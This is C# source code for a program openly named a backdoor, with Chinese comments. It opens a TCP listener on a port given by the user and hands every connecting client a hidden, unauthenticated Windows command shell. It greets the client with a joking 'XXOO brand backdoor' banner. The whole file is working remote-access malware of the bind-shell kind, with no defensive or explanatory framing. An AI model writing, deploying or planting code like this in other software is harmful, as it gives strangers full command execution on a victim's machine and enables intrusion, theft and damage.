using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Net.Sockets;namespace backdoor
{
    class Program
    {
        static void Main(string[] args)
        {
            try
            {
                string strPort="";
                int nPort = 0;
                 
                //处理命令行参数
                if ((args == null) || (args.Length == 0))
                {
                    Console.Write("请输入需要监听的端口:");
                    strPort = Console.ReadLine();
                    if (!int.TryParse(strPort, out nPort))
                    {
                        Console.WriteLine("Error:端口填空错误,必需是数字,范围在1-65535之间!");
                        return;
                    }
                }
                else if (args.Length != 1)
                {
                    Console.WriteLine("命令行参数不正确![{0}]", string.Join(" ", args));
                    Console.WriteLine("例: App.exe /8080");
                    return;
                }
                else
                {
                    strPort = args[0].Replace("/", string.Empty);
                    strPort = strPort.Replace("-", string.Empty);
                    if (!int.TryParse(strPort, out nPort))
                    {
                        Console.WriteLine("Error:端口填空错误,必需是数字,范围在1-65535之间!");
                        return;
                    }
                }
                
                //开始监听端口,接受连接进入
                TcpListener tcpServer = new TcpListener(IPAddress.Any, nPort);
                tcpServer.Start(10);
                Console.WriteLine("程序在{0}号端口侦听成功,开始接受连接进入!",nPort);                while (true)
                {
                    TcpClient client = tcpServer.AcceptTcpClient();
                    Console.WriteLine("远程连接进入" + client.Client.RemoteEndPoint.ToString());
                    CcmdClient server = new CcmdClient(client);
                    client = null;
                }
                
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
            finally
            {
                Console.WriteLine("Bye bye!");
            }
        }
    }
}using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Diagnostics;namespace backdoor
{
    class CcmdClient
    {
        private TcpClient _Client = null;
        private NetworkStream _NetworkStream = null;
        private Process _CmdProcess = null;
        private Thread _ReadThread  = null;
        private Thread _WriteThread = null;
        private Thread _ErrorThread = null;        public CcmdClient(TcpClient client)
        {
            _Client = client;
            _NetworkStream = _Client.GetStream();            _CmdProcess = new Process();
            _CmdProcess.StartInfo.FileName = "cmd.exe";
            _CmdProcess.StartInfo.WorkingDirectory = "C:";
            _CmdProcess.StartInfo.CreateNoWindow = true;
            _CmdProcess.StartInfo.ErrorDialog = false;
            _CmdProcess.StartInfo.RedirectStandardInput = true;
            _CmdProcess.StartInfo.RedirectStandardOutput = true;
            _CmdProcess.StartInfo.RedirectStandardError = true;
            _CmdProcess.StartInfo.UseShellExecute = false;
            _CmdProcess.EnableRaisingEvents = true;
            _CmdProcess.Exited += new EventHandler(OnCmdProcessExitEvent);            _CmdProcess.Start();            _ReadThread = new Thread(new ThreadStart(ReadThreadProc));
            _ReadThread.Name = "读线程";
            _ReadThread.IsBackground = true;
            _ReadThread.Start();            _WriteThread = new Thread(new ThreadStart(WriteThreadProc));
            _WriteThread.Name = "写线程";
            _WriteThread.IsBackground = true;
            _WriteThread.Start();            _WriteThread = new Thread(new ThreadStart(ErrorThreadProc));
            _WriteThread.Name = "Error线程";
            _WriteThread.IsBackground = true;
            _WriteThread.Start();
        }        /// <summary>
        /// 负责退出时的资源清扫工作
        /// </summary>
        public void Close()
        {
            try
            {
                if (_ReadThread != null)
                {
                    _ReadThread.Abort();
                    _ReadThread = null;
                }
                if (_WriteThread != null)
                {
                    _WriteThread.Abort();
                    _WriteThread = null;
                }
                if (_ErrorThread != null)
                {
                    _ErrorThread.Abort();
                    _ErrorThread = null;
                }                if (_NetworkStream != null)
                {
                    _NetworkStream.Dispose();
                    _NetworkStream = null;
                }
                if (_Client != null)
                {
                    if (_Client.Client != null)
                    {
                        _Client.Client.Close();
                    }
                    _Client.Close();
                    _Client = null;
                }                if (_CmdProcess != null)
                {
                    if (!_CmdProcess.HasExited) _CmdProcess.Kill();
                    _CmdProcess.Dispose();
                    _CmdProcess = null;
                }
            }
            catch (Exception ex)
            {
                dbgPrint(ex);
            }
        }        /// <summary>
        /// 负责将CMD的输出管道的数据读出来,发给客户端
        /// </summary>
        private void ReadThreadProc()
        {
            try
            {
                if (_CmdProcess != null)
                {
                    string OOXX = "欢迎使用XXOO牌后门!     \r\n" +
                                  "XXOO牌后门,他好我也好! \r\n" +
                                  "XXOO牌后门,洗洗更健康! \r\n\r\n";                    byte[] xxoo = System.Text.Encoding.GetEncoding("gb2312").GetBytes(OOXX);
                    _NetworkStream.Write(xxoo, 0, xxoo.Length);                    using (StreamReader sr = _CmdProcess.StandardOutput)
                    {
                        char[] buff = new char[1024];
                        Encoding encode = sr.CurrentEncoding;
                        while (true)
                        {
                            int nCount = sr.Read(buff, 0, buff.Length);
                            byte[] temp = encode.GetBytes(buff, 0, nCount);
                            _NetworkStream.Write(temp, 0, temp.Length);                  
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                dbgPrint(ex);                
            }
            finally
            {
                Close();
            }
        }
        /// <summary>
        /// 负责将CMD的错误管道的数据读出来,发给客户端
        /// </summary>
        private void ErrorThreadProc()
        {
            try
            {
                if (_CmdProcess != null)
                {
                    using (StreamReader sr = _CmdProcess.StandardError)
                    {
                        char[] buff = new char[1024];
                        Encoding encode = sr.CurrentEncoding;
                        while (true)
                        {
                            int nCount = sr.Read(buff, 0, buff.Length);
                            byte[] temp = encode.GetBytes(buff, 0, nCount);
                            _NetworkStream.Write(temp, 0, temp.Length);
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                dbgPrint(ex);            }
            finally
            {
                Close();
            }
        }        /// <summary>
        /// 负责将网络流过来的数据,写到CMD的输入流
        /// </summary>
        private void WriteThreadProc()
        {
            try
            {
                if (_NetworkStream != null)
                {
                    using (StreamWriter sw = _CmdProcess.StandardInput)
                    {
                        byte[] buff = new byte[8192];
                        Encoding encode = _CmdProcess.StandardOutput.CurrentEncoding;
                        while (true)
                        {
                            int nCount = _NetworkStream.Read(buff, 0, buff.Length);
                            if (nCount == 0) break;
                            string strText = encode.GetString(buff, 0, nCount);
                            sw.Write(strText);
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                dbgPrint(ex);
            }
            finally
            {
                Close();
            }
        }        private void OnCmdProcessExitEvent(object sender, EventArgs e)
        {
            Close();    
        }
        private void dbgPrint(Exception ex)
        {
            Console.WriteLine(ex.Message);
        }
    }
}